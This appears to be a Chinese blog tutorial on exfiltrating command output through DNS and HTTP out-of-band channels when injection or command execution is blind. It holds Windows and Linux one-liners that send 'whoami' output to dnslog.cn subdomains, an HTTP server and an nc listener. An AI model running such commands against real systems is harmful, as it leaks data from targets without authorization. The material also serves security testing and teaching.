命令执行无回显下的数据外带
利用场景
在注入时, 存在盲注或者延时, 我们获得需要数据就会频繁请求, 最后导致IP 被Ban,还有就是当我们进行命令执行的时候,目标站点什么也不显示,无法确定,所以用DNSlog外带可以减少请求并且直接回显数据
dnslog 数据外带通常用在以下情景:
1.SQL盲注
2.无回显的XSS
3.无回显的命令执行
5.无回显的SSRF
5.Blind XXE
原理
将需要查询的值和域名拼接起来,向域名发送请求,便会传递到自己这里,然后通过读日志获取信息。为了方便理解,我自己模糊的做了一个原理图

Windows中的利用方式
for + ping
命令示例:for /F “delims=" %i in (‘whoami’) do ping %i.xxx.dnslog.cn

for + curl
命令示例:for /F “delims=" %i in (‘whoami’) do curl http://192.168.43.190:8000/%i

%用户名变量%
直接通过%用户变量%来获取信息


Linux中的利用方式
反引号 + ping
命令示例:ping whoami
.foxd5a.dnslog.cn

$() + ping
命令示例:ping $(whoami).dyy8n3.dnslog.cn

curl
命令示例:curl http://192.168.43.190:8000/`whoami`

whois
命令示例:whois -h 192.168.233.128 -p 8888 whoami
vps上nc开启监听,获取到命令执行结果

命令执行无回显下的数据外带
http://example.com/2024/02/03/命令执行无回显下的数据外带/